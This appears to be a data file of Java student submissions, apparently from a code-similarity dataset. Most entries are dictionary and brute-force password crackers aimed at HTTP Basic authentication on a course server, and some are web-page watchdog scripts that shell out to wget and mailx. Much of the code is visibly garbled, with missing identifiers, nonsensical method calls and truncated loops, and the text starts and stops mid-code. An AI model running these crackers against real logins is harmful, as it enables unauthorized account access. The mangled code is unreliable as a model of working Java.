[ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } } " "258.java 048.java" 246.java " import java.io.*; import java.net.*; import java.net.URL; import java.net.URLConnection; import java.util.*; public class Dictionary { public static void main(String[] args) throws IOException { int begin, end, total; time = System.currentTimeMillis(); String username = """"; String password = null; String host = ""http://sec-crack.cs.rmit.edu./SEC/2/""; String dict = ""words""; File file = new File(dict); String letters = ""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ""; int lettersLen = letters.length(); int passwordLen=3; String character = """"; String letter = """"; int passwords=0; int twoChar=0; url.misc.BASE64Encoder base = new url.misc.BASE64Encoder(); String authenticate = """"; String realm = null, domain = null, hostname = null; header = null; int responseCode; String responseMsg; boolean characterValid=false; boolean passwordValid=true; int tryLen=0; int i=0; if (!file.exists() || file==null) { System.out.println (""Idiot, why dont check and make sure the dictonary file exists.""); System.out.println (""I'm trying find "" + dict + "" and I 't find it in the current directory.""); System.exit(0); } try { BufferedReader reader = new BufferedReader(new FileReader(file)); System.out.println(""Dictionary Attack "" + host + "" has commenced.""); int i=1; int k=1; { URL url = new URL(host); HttpURLConnection httpConnect = (HttpURLConnection) url.openConnection(); if(realm != null) { String inLine = reader.readLine(); if ( inLine !=null) { passwordValid = true; password = inLine; tryLen = password.length(); if(tryLen <= passwordLen) { for (int z=0; z 0) || (str.indexOf(""jpg"") > 0)) imgVect.addElement(str); } } }catch (IOException ioe) { System.out.println(""IOException""); ioe.printStackTrace(); } catch (Exception e) { System.out.println(""Exception""); e.printStackTrace(); } mailwriter.println(""Creating file with md5sums of the webpage and images...""); md5Create(imgVect); } static void md5Create(Vector imgVect) { String tmpString = null; Vector imgNames = new Vector(); try { PrintWriter pr = new PrintWriter(new BufferedWriter(new FileWriter(mdfile, false))); p=Runtime.getRuntime().exec(""/usr/local//md5sum ""+indexfile); p.waitFor(); bf= new BufferedReader(new InputStreamReader( p.getInputStream())); pr.println(bf.readLine()); for(int i=0; i 0) || (str.indexOf(""jpg"") > 0)) prsName=str; } return (Object)prsName; } } " 005.java 051.java "import java.io.*; import java.net.*; import java.*; import java.Runtime.*; import java.Object.*; import java.util.*; import java.util.StringTokenizer; public class Dictionary { String uname = """"; String pword = ""null""; Vector v = new Vector(); int runTime; public void doConnect(String connect, int num) { String = connect; try { URL secureSite = new URL(); URLConnection connection = secureSite.openConnection(); if (uname != null || pword != null) { for(int i=num; i> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } " "183.java 048.java" 070.java " import java.misc.BASE64Encoder; import java.misc.BASE64Decoder; import java.io.*; import java.net.*; import java.util.*; public class Dictionary { public Dictionary(String url, String dictionaryFile) { try{ this.url = url; this.dictionaryPath = dictionaryFile; InputStream fis = new FileInputStream(this.dictionaryPath); dict = new BufferedReader(new InputStreamReader(fis)); }catch(IOException ioe){ System.out.println(""Error opening dictionary file:\n"" +ioe); } } private String url = null; private String dictionaryPath = null; private BufferedReader dict = null; private int attempts = 0; private int passwordSize = 3; public void setPasswordSize(int size){ this.passwordSize = size; } public String getNextPassword()throws IOException{ String line = dict.readLine(); while(line!=null&&line.length()!=this.passwordSize ) line = dict.readLine(); return line; } public String crackPassword(String user) throws IOException, MalformedURLException{ URL url = null; URLConnection urlConnection = null; String outcome = null; String authorization = null; String password = null; BASE64Encoder b64enc = new BASE64Encoder(); InputStream content = null; BufferedReader in = null; while(!""HTTP/1.1 200 OK"".equalsIgnoreCase(outcome)){ url = new URL(this.url); urlConnection = url.openConnection(); urlConnection.setDoInput(true); urlConnection.setDoOutput(true); urlConnection.setRequestProperty(""GET"", url.getPath() + "" HTTP/1.1""); urlConnection.setRequestProperty(""Host"", url.getHost()); password = getNextPassword(); if(password == null) return null; System.out.print(password); authorization = user + "":"" + password; urlConnection.setRequestProperty(""Authorization"", "" ""+ b64enc.encode(authorization.getBytes())); outcome = urlConnection.getHeaderField(null); this.attempts ++; urlConnection = null; url = null; if(this.attempts%51 == 0) for(int b = 0; b < 53;b++) System.out.print(""\b \b""); else System.out.print(""\b\b\b.""); } return password; } public int getAttempts(){ return this.attempts; } public static void main (String[] args) { if(args.length != 3){ System.out.println(""usage: java attacks.Dictionary ""); System.exit(1); } Dictionary dictionary1 = new Dictionary(args[0], args[2]); try{ Calendar cal1=null, cal2=null; cal1 = Calendar.getInstance(); System.out.println(""Cracking started at: "" + cal1.getTime().toString()); String password = dictionary1.crackPassword(args[1]); if(password != null) System.out.println(""\nPassword is: ""+password); else System.out.println(""\nPassword could not retrieved!""); cal2 = Calendar.getInstance(); System.out.println(""Cracking finished at: "" + cal2.getTime().toString()); Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime()); System.out.println(""Total Time taken crack: "" + (d3.getTime())/1000 + "" sec""); System.out.println(""Total attempts : "" + dictionary1.getAttempts()); }catch(MalformedURLException mue){ mue.printStackTrace(); } catch(IOException ioe){ ioe.printStackTrace(); } } }" 069.java 107.java " import java.io.InputStream; import java.util.Properties; import javax.naming.Context; import javax.naming.InitialContext; import javax.rmi.PortableRemoteObject; import javax.sql.DataSource; public class WatchdogPropertyHelper { private static Properties testProps; public WatchdogPropertyHelper() { } public static String getProperty(String pKey){ try{ initProps(); } catch(Exception e){ System.err.println(""Error init'ing the watchddog Props""); e.printStackTrace(); } return testProps.getProperty(pKey); } private static void initProps() throws Exception{ if(testProps == null){ testProps = new Properties(); InputStream fis = WatchdogPropertyHelper.class.getResourceAsStream(""/watchdog.properties""); testProps.load(fis); } } } " "108.java 112.java" 193.java " import java.io.IOException; import java.net.*; import java.io.*; import java.util.*; public class Dictionary { static URL url = null; static URLConnection urlConnection; static InputStream urlStream; static String strOneLetterWords[]; static String strTwoLetterWords[]; static String strThreeLetterWords[]; static String strExceptionPassword[]; static String strLastPasswordTested; static String username = """"; static int intNumberOfOneLetterWords = 0; static int intNumberOfTwoLetterWords = 0; static int intNumberOfThreeLetterWords = 0; static int intExceptionCount = -1; static int intNumberOfConnectionAttempts = 0; static int intTotalNumberOfWordsInFile = 0; public static void main (String args[]) { Calendar calStart; Calendar calFinish; Date dateStart; Date dateFinish; lngStart; lngFinish; String strLine; String strTextFileName = ""/usr/share/lib/dict/words""; boolean boolPasswordFound = false; boolean boolExceptionPasswordsTestedAgain = false; String urlString = ""http://sec-crack.cs.rmit.edu./SEC/2/index.php""; int intCounter1; int intCounter2; int intCounter3; int intTotalNumberOfWordsChecked = 0; calStart = new GregorianCalendar(); dateStart = calStart.getTime(); lngStart = dateStart.getTime(); strExceptionPassword = new String[5000]; getNumberOfVariousLengthsOfWords(strTextFileName); strOneLetterWords = new String[intNumberOfOneLetterWords]; strTwoLetterWords = new String[intNumberOfTwoLetterWords]; strThreeLetterWords = new String[intNumberOfThreeLetterWords]; populateTheDifferentLengthArrays(strTextFileName); if (!boolPasswordFound) { intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strOneLetterWords[intCounter1], boolPasswordFound); intCounter1++; intTotalNumberOfWordsChecked++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intNumberOfTwoLetterWords) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strTwoLetterWords[intCounter1], boolPasswordFound); intCounter1++; intTotalNumberOfWordsChecked++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intNumberOfThreeLetterWords) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strThreeLetterWords[intCounter1], boolPasswordFound); intCounter1++; intTotalNumberOfWordsChecked++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) ) { intCounter2 = 0; while ( (!boolPasswordFound) && (intCounter2 < intNumberOfOneLetterWords) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strOneLetterWords[intCounter1] + strOneLetterWords[intCounter2], boolPasswordFound); intCounter2++; intTotalNumberOfWordsChecked++; } intCounter1++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) ) { intCounter2 = 0; while ( (!boolPasswordFound) && (intCounter2 < intNumberOfOneLetterWords) ) { intCounter3 = 0; while ( (!boolPasswordFound) && (intCounter3 < intNumberOfOneLetterWords) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strOneLetterWords[intCounter1] + strOneLetterWords[intCounter2] + strOneLetterWords[intCounter3], boolPasswordFound); intCounter3++; intTotalNumberOfWordsChecked++; } intCounter2++; } intCounter1++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) ) { intCounter2 = 0; while ( (!boolPasswordFound) && (intCounter2 < intNumberOfTwoLetterWords) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strOneLetterWords[intCounter1] + strTwoLetterWords[intCounter2], boolPasswordFound); intCounter2++; intTotalNumberOfWordsChecked++; } intCounter1++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intNumberOfTwoLetterWords) ) { intCounter2 = 0; while ( (!boolPasswordFound) && (intCounter2 < intNumberOfOneLetterWords) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strTwoLetterWords[intCounter1] + strOneLetterWords[intCounter2], boolPasswordFound); intCounter2++; intTotalNumberOfWordsChecked++; } intCounter1++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 <= intExceptionCount) ) { boolExceptionPasswordsTestedAgain = true; boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strExceptionPassword[intCounter1], boolPasswordFound); intCounter1++; intTotalNumberOfWordsChecked++; } } calFinish = new GregorianCalendar(); dateFinish = calFinish.getTime(); lngFinish = dateFinish.getTime(); System.out.println(); System.out.println(); System.out.println(); System.out.println(""Length of time for processing: "" + ((lngFinish - lngStart) / 1000) + "" seconds""); System.out.println(); System.out.println(""Total number of words in dictionary file = "" + intTotalNumberOfWordsInFile); System.out.println(); System.out.println(""Input file: number of words with one letter length = "" + intNumberOfOneLetterWords); System.out.println(""Input file: number of words with two letter length = "" + intNumberOfTwoLetterWords); System.out.println(""Input file: number of words with three letter length = "" + intNumberOfThreeLetterWords); System.out.println(); System.out.println(""Number of connection attempts = "" + intTotalNumberOfWordsChecked); System.out.println(); System.out.println(""Number of exceptions thrown = "" + (intExceptionCount + 1)); System.out.println(); if (intExceptionCount >= 0) { System.out.print(""These passwords WERE ""); if (boolExceptionPasswordsTestedAgain) System.out.print(""tested again.""); else System.out.print(""NOT tested again.""); System.out.println(); } if (boolPasswordFound) { System.out.println(""The correct password WAS found - this password is '"" + strLastPasswordTested + ""'.""); } else { System.out.println(""The correct password WAS NOT found.""); } System.out.println(); } static void getNumberOfVariousLengthsOfWords(String TextFileName) { FileReader reader; BufferedReader inTextFile = null; String strLine; int intWordLength; try { reader = new FileReader(TextFileName); inTextFile = new BufferedReader(reader); strLine = inTextFile.readLine(); while (strLine != null) { intTotalNumberOfWordsInFile++; strLine = strLine.trim(); intWordLength = strLine.length(); if (intWordLength == 1) intNumberOfOneLetterWords++; else if (intWordLength == 2) intNumberOfTwoLetterWords++; else if (intWordLength == 3) intNumberOfThreeLetterWords++; strLine = inTextFile.readLine(); } } catch(FileNotFoundException e) { System.out.println(); System.out.println(""The file '"" + TextFileName + ""' cannot found.""); System.out.println(); } catch(Exception e) { } finally { try { inTextFile.print(); } catch(Exception e) { } inTextFile = null; reader = null; } } static void populateTheDifferentLengthArrays(String TextFileName) { FileReader reader; BufferedReader inTextFile = null; String strLine; int intWordLength; int intCountOfOneLetterWords = -1; int intCountOfTwoLetterWords = -1; int intCountOfThreeLetterWords = -1; try { reader = new FileReader(TextFileName); inTextFile = new BufferedReader(reader); strLine = inTextFile.readLine(); while (strLine != null) { strLine = strLine.trim(); intWordLength = strLine.length(); if (intWordLength == 1) { intCountOfOneLetterWords++; strOneLetterWords[intCountOfOneLetterWords] = strLine; } else if (intWordLength == 2) { intCountOfTwoLetterWords++; strTwoLetterWords[intCountOfTwoLetterWords] = strLine; } else if (intWordLength == 3) { intCountOfThreeLetterWords++; strThreeLetterWords[intCountOfThreeLetterWords] = strLine; } strLine = inTextFile.readLine(); } } catch(FileNotFoundException e) { System.out.println(); System.out.println(""The file '"" + TextFileName + ""' cannot found.""); System.out.println(); } catch(Exception e) { System.out.println(""Exception thrown....""); System.err.println(e); } finally { try { inTextFile.print(); } catch(Exception e) { } inTextFile = null; reader = null; } } static boolean passwordWasFound(String urlString, String password, boolean retVal) { String strEncodeInput = username + "":"" + password; boolean returnValue = retVal; boolean boolExceptionThrown = false; try { strLastPasswordTested = password; intNumberOfConnectionAttempts++; url = new URL(urlString); String encoding = new url.misc.BASE64Encoder().encode (strEncodeInput.getBytes()); System.out.print(""username = "" + username + "" "" + ""password = "" + password); HttpURLConnection urlConnection = (HttpURLConnection)url.openConnection(); urlConnection.setRequestProperty(""Authorization"", "" "" + encoding); System.out.println("" response = "" + urlConnection.getResponseCode()); if (urlConnection.getResponseCode() == 401) { returnValue = false; } } catch (MalformedURLException m) { boolExceptionThrown = true; returnValue = false; System.err.println(m); System.out.println(""Malformed URL Exception error""); } catch (IOException io) { boolExceptionThrown = true; returnValue = false; System.out.println(""IOException error""); System.err.println(io); } catch (Exception e) { boolExceptionThrown = true; returnValue = false; System.out.println(""General exception.....""); System.err.println(e); } finally { urlConnection = null; url = null; } if (boolExceptionThrown) { intExceptionCount++; strExceptionPassword[intExceptionCount] = password; } return returnValue; } }" 191.java 043.java "import java.util.*; import java.io.*; import javax.swing.text.html.*; public class WatchDog { public WatchDog() { } public static void main (String args[]) { DataInputStream newin; try{ System.out.println(""ishti""); System.out.println(""Downloading first copy""); Runtime.getRuntime().exec(""wget http://www.cs.rmit.edu./students/ -O oldfile.html""); String[] cmdDiff = {""//sh"", ""-c"", ""diff oldfile.html newfile.html > Diff.txt""}; String[] cmdMail = {""//sh"", ""-c"", ""mailx -s \""Diffrence\"" \""@cs.rmit.edu.\"" < Diff.txt""}; while(true){ Thread.sleep(24*60*60*1000); System.out.println(""Downloading new copy""); Runtime.getRuntime().exec(""wget http://www.cs.rmit.edu./students/ -O newfile.html""); Thread.sleep(2000); Runtime.getRuntime().exec(cmdDiff); Thread.sleep(2000); newin = new DataInputStream( new FileInputStream( ""Diff.txt"")); if (newin.readLine() != null){ System.out.println(""Sending Mail""); Runtime.getRuntime().exec(cmdMail); Runtime.getRuntime().exec(""cp newfile.html oldfile.html""); } } } catch(Exception e){ e.printStackTrace(); } } }" 251.java 145.java " import java.net.*; import java.io.*; import java.util.*; public class Dictionary{ private static URL location; private static String user; private BufferedReader input; private static BufferedReader dictionary; private int maxLetters = 3; public Dictionary() { Authenticator.setDefault(new MyAuthenticator ()); startTime = System.currentTimeMillis(); boolean passwordMatched = false; while (!passwordMatched) { try { input = new BufferedReader(new InputStreamReader(location.openStream())); String line = input.readLine(); while (line != null) { System.out.println(line); line = input.readLine(); } input.close(); passwordMatched = true; } catch (ProtocolException e) { } catch (ConnectException e) { System.out.println(""Failed connect""); } catch (IOException e) { e.printStackTrace(); System.exit(-1); } } endTime = System.currentTimeMillis(); System.out.println(""Total Time: ""+cad.concat(Math.toString(endTime - startTime))); } private char[] nextPassword() { String password = new String(); try { password = dictionary.readLine(); while (password.length() > maxLetters) { password = dictionary.readLine(); } } catch (IOException e) { e.printStackTrace(); System.exit(-1); } return password.toCharArray(); } public static void main(String args[]) { if (args.length != 3) { System.out.println(""Usage: java Dictionary url user dictionary""); System.exit(-1); } try { location = new URL(args[0]); } catch (MalformedURLException e) { e.printStackTrace(); } user = new String().concat(args[1]); try { dictionary = new BufferedReader(new FileReader(args[2])); } catch (IOException e) { e.printStackTrace(); System.exit(-1); } new Dictionary(); } class MyAuthenticator extends Authenticator { protected PasswordAuthentication getPasswordAuthentication() { char [] currentPassword = nextPassword(); System.out.print(user.concat(""-"")); System.out.println(currentPassword); return new PasswordAuthentication (user, currentPassword); } } } " 143.java 023.java " public class HoldSharedData { private int numOfConnections = 0; private int startTime; private int totalTime = 0; private String[] password; private int pwdCount; public HoldSharedData( int time, String[] pwd, int count ) { startTime = time; password = pwd; pwdCount = count; } public int getPwdCount() { return pwdCount; } public void setNumOfConnections( ) { numOfConnections ++; } public int getNumOfConnections() { return numOfConnections; } public int getStartTime() { return startTime; } public void setTotalTime( int newTotalTime ) { totalTime = newTotalTime; } public int getTotalTime() { return totalTime; } public String getPasswordAt( int index ) { return password[index]; } } " 015.java 137.java " import java.io.*; import java.net.*; import java.*; import java.util.*; public class Dictionary { public static void main( String args[]) { Runtime t = Runtime.getRuntime(); Process pr = null; int count=0; String f,pass,temp1; try{ FileReader fr = new FileReader(""words.txt""); BufferedReader bfread = new BufferedReader(fr); while((bf = bfread.readLine()) != null) { if( f.length() < 4 ) { count++; System.out.println(""The passowrd tried is------>""+""-->""+count); pass = f; f =""wget --http-user= --http-passwd=""+pass+"" http://sec-crack.cs.rmit.edu./SEC/2/""; pr = t.exec(f); InputStreamReader stre = new InputStreamReader(pr.getErrorStream()); BufferedReader bread = new BufferedReader(stre); while( ( bf= bread.readLine())!= null) { if(bf.equals(""HTTP request sent, awaiting response... 200 OK"")) { System.out.println(""Eureka!! Eureka!!! The password has been found it is:""+pass); System.exit(0); } } } } fr.print(); bfread.print(); }catch(IOException e){} } } " 171.java 202.java " import java.io.*; import java.util.*; public class BruteForce { private Cracker crack; private Vector clients; private int num; private int bigStart; public BruteForce() { int i, j; int start, finish; start=finish = 0; crack = new Cracker(); crack.loadLetters(); crack.loadPairs(); crack.loadTriples(); num = crack.getVictor().size(); clients = new Vector( num); j = 0; bigStart = System.currentTimeMillis(); for( i = 0; i < num; i++) { MyClient2 client = new MyClient2(this, i + 1, 80, (String)crack.getVictor().elementAt( i)); clients.add( client); Thread t = new Thread( client); t.print(); j++; if(j == 100) { t = System.currentTimeMillis(); System.out.println(""i = ""+i+"" ""+(String)crack.getVictor().elementAt( i)); finish = t; while( (finish - t ) < 1000) { finish = System.currentTimeMillis(); } j = 0; } } } public void retire(int MyClient2 ) { int bigFinish; bigFinish = t.getTime(); System.out.println("" It took ""+(bigFinish - bigStart)/1000+"" ""+""seconds crack password using brute force""); System.exit(0); } public static void main (String[] args) { BruteForce = new BruteForce(); } } " 208.java 052.java " import java.net.*; import java.io.*; import java.misc.*; public class BruteForce { public static void main (String args[]) { char[ ] var = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z' }; String password; int m=0; for(int i=0; i<52; i++) { for(int j=0; j<52; j++) { for(int k=0; k<52; k++) { m++; password = """"; password = new String(""""+var[i]+var[j]+var[k]); String a = myurl(""http://sec-crack.cs.rmit.edu./SEC/2"", """", password,m ); } } } } public static String encode (String source) { BASE64Encoder enc = new source.misc.BASE64Encoder(); return(enc.encode(source.getBytes())); } public static String myurl (String url, String Name, String Password, int num ) { String thisLine; String retVal; URL u; URLConnection uc; retVal = """"; try { u = new URL(url); try { uc = u.openConnection(); if (Name != null) { uc.setRequestProperty(""Authorization"", "" "" + encode(Name + "":"" + Password)); } InputStream content = (InputStream)uc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader(content)); String line; while ((line = in.readLine()) != null) { retVal += line; System.out.println(line); System.out.println(""password=""+Password+""; number:""+num); System.exit(0); } } catch (Exception e) { } } catch (MalformedURLException e) { return(url + "" is not a parseable URL""); } return retVal; } } " 053.java 062.java " import java.util.*; import java.*; import java.awt.*; import java.net.*; import java.io.*; import java.text.*; public class BruteForce { public static String Base64Encode(String s) { byte[] bb = s.getBytes(); byte[] b = bb; char[] table = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z', 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z', '0','1','2','3','4','5','6','7','8','9','+','/' }; if (bb.length % 3!=0) { int x1 = bb.length; b = new byte[(x1/3+1)*3]; int x2 = b.length; for(int i=0;i> 2)]; c[j+1] = table[(b[i+1] >> 4) | ((b[i] & 3) << 4)]; c[j+2] = table[(b[i+2] >> 6) | ((b[i+1] & 15) << 2)]; c[j+3] = table[(b[i+2] & 63)]; i+=3; j+=4; } j = c.length-1; while (c[j]=='A') { c[j]='='; j--; } return String.valueOf(c); } public synchronized void getAccumulatedLocalAttempt() { attempt = 0; for (int i=0;i=0); } public synchronized void waitUntilAllTerminated() { while (curconn>0) { try { wait(); } catch (InterruptedException e) {} } } public synchronized int waitUntilOK2Connect() { boolean interruptd= false; int idx = -1; while (curconn>=MAXCONN) { try { wait(); } catch (InterruptedException e) { interruptd = true; } } if (!interruptd) { curconn++; for (idx=0;idx=0) { if (idx>=idxLimit[i]) { int nchar = i + 1; idx-=idxLimit[i]; for (int j=0;jALLCOMBI - idxstart) { MAXTHREAD = (int) (ALLCOMBI-idxstart); } mult = (ALLCOMBI - idxstart) / MAXTHREAD; for (thcount=0;thcount=0) { System.out.println(); System.out.println("" ********************* [ URL SUCCESSFULLY CRACKED !! ] *********************""); System.out.println(); System.out.println("" The password is : ""+passw); System.out.println("" Number of attempts : ""+attempt+"" of ""+ALLCOMBI+"" total combinations""); System.out.println("" Attempt position : ""+fmt.format((double)attempt/(double)ALLCOMBI*100)+""%""); System.out.println("" Overal attempt rate : ""+fmt.format(ovAps)+ "" attempts/sec""); System.out.println("" Cracking time : ""+String.valueOf(((double)end-(double)d)/1000) + "" seconds""); System.out.println("" Worstcase time estd : ""+fmt.format(1/ovAps*ALLCOMBI)+ "" seconds""); System.out.println(); System.out.println("" ***************************************************************************""); System.out.println(); } else { System.out.println(); System.out.println("" ********************* [ UNABLE CRACK THE URL !!! ] *********************""); System.out.println(); System.out.println("" Number of attempts : ""+attempt+"" of ""+ALLCOMBI+"" total combinations""); System.out.println("" Attempt position : ""+fmt.format((double)attempt/(double)ALLCOMBI*100)+""%""); System.out.println("" Overal attempt rate : ""+fmt.format(ovAps)+ "" attempts/sec""); System.out.println("" Cracking time : ""+String.valueOf(((double)end-(double)d)/1000) + "" seconds""); System.out.println(); System.out.println("" ***************************************************************************""); System.out.println(); } } } public static void printSyntax() { System.out.println(); System.out.println(""Syntax : BruteForce [mode] [URL] [charset] [] [] [username]""); System.out.println(); System.out.println("" mode : (opt) 0 - NAIVE Brute force mode""); System.out.println("" (trying from the first the last combinations)""); System.out.println("" 1 - ENHANCED Brute force mode""); System.out.println("" (dividing cracking jobs multiple threads) (default)""); System.out.println("" URL : (opt) the URL crack ""); System.out.println("" (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)""); System.out.println("" charset : (optional) the character set used crack.""); System.out.println("" - (default)""); System.out.println("" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ""); System.out.println("" -alphanum ""); System.out.println("" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890""); System.out.println("" -alphalow ""); System.out.println("" abcdefghijklmnopqrstuvwxyz""); System.out.println("" -alphaup ""); System.out.println("" ABCDEFGHIJKLMNOPQRSTUVWXYZ""); System.out.println("" -number ""); System.out.println("" 1234567890""); System.out.println("" [custom] e.g. aAbB123""); System.out.println("" , : (optional) range of characters applied in the cracking""); System.out.println("" where 1 <= <= 10 (default = 1)""); System.out.println("" <= <= 10 (default = 3)""); System.out.println("" username : (optional) the username that is used crack""); System.out.println(); System.out.println("" NOTE: The optional parameters 'charset','','', and 'username'""); System.out.println("" have specified altogether none at all.""); System.out.println("" For example, if [charset] is specified, then [], [], and""); System.out.println("" [username] have specified as well. If none of them specified,""); System.out.println("" default values used.""); System.out.println(); System.out.println("" Example of invocation :""); System.out.println("" java BruteForce ""); System.out.println("" java BruteForce 0""); System.out.println("" java BruteForce 1 http://localhost/tryme.php""); System.out.println("" java BruteForce 0 http://localhost/tryme.php - 1 3 ""); System.out.println("" java BruteForce 1 http://localhost/tryme.php aAbBcC 1 10 ""); System.out.println(); System.out.println(); } public static void countIdxLimit() { idxLimit = new int[MAXCHAR+1]; NCHAR = charset.length(); ALLCOMBI = 0; for (int i=0;i<=MAXCHAR;i++) { if (i==0) { idxLimit[i] = 0; } else { idxLimit[i] = idxLimit[i-1] + Math.pow(NCHAR,i); } } ALLCOMBI = idxLimit[idxLimit.length-1]; } public static void paramCheck(String[] args) { int argc = args.length; try { switch (Integer.valueOf(args[0]).intValue()) { case 0: { isenhanced = false; } break; case 1: { isenhanced = true; } break; default: System.out.println(""Syntax error : invalid mode '""+args[0]+""'""); printSyntax(); System.exit(1); } } catch (NumberFormatException e) { System.out.println(""Syntax error : invalid number '""+args[0]+""'""); printSyntax(); System.exit(1); } if (argc>1) { try { URL u = new URL(args[1]); try { HttpURLConnection conn = (HttpURLConnection) u.openConnection(); switch (conn.getResponseCode()) { case HttpURLConnection.HTTP_ACCEPTED: case HttpURLConnection.HTTP_OK: case HttpURLConnection.HTTP_NOT_AUTHORITATIVE: case HttpURLConnection.HTTP_FORBIDDEN: case HttpURLConnection.HTTP_UNAUTHORIZED: break; default: System.out.println(""Unable open connection the URL '""+args[1]+""'""); System.exit(1); } } catch (IOException e) { System.out.println(e); System.exit(1); } THEURL = args[1]; } catch (MalformedURLException e) { System.out.println(""Invalid URL '""+args[1]+""'""); printSyntax(); System.exit(1); } } if (argc==6) { try { MINCHAR = Integer.valueOf(args[3]).intValue(); } catch (NumberFormatException e) { System.out.println(""Invalid range number value '""+args[3]+""'""); printSyntax(); System.exit(1); } try { MAXCHAR = Integer.valueOf(args[4]).intValue(); } catch (NumberFormatException e) { System.out.println(""Invalid range number value '""+args[4]+""'""); printSyntax(); System.exit(1); } if ((MINCHAR<1) || (MINCHAR>10)) { System.out.println(""Invalid range number value '""+args[3]+""' (must between 0 and 10)""); printSyntax(); System.exit(1); } else if (MINCHAR>MAXCHAR) { System.out.println(""Invalid range number value '""+args[3]+""' (must lower than the value)""); printSyntax(); System.exit(1); } if (MAXCHAR>10) { System.out.println(""Invalid range number value '""+args[4]+""' (must between value and 10)""); printSyntax(); System.exit(1); } if (args[2].toLowerCase().equals(""-"")) { charset = ""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ""; } else if (args[2].toLowerCase().equals(""-alphanum"")) { charset = ""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890""; } else if (args[2].toLowerCase().equals(""-alphalow"")) { charset = ""abcdefghijklmnopqrstuvwxyz""; } else if (args[2].toLowerCase().equals(""-alphaup"")) { charset = ""ABCDEFGHIJKLMNOPQRSTUVWXYZ""; } else if (args[2].toLowerCase().equals(""-number"")) { charset = ""1234567890""; } else { charset = args[2]; } USERNAME = args[5]; } else if ((argc>2) && (argc<6)) { System.out.println(""Please specify the [charset], [], [], and [username] altogether none at all""); printSyntax(); System.exit(1); } else if ((argc>2) && (argc>6)) { System.out.println(""The number of parameters expected is not more than 6. ""); System.out.println("" have specified more than 6 parameters.""); printSyntax(); System.exit(1); } } public static void main (String[] args) { charset = 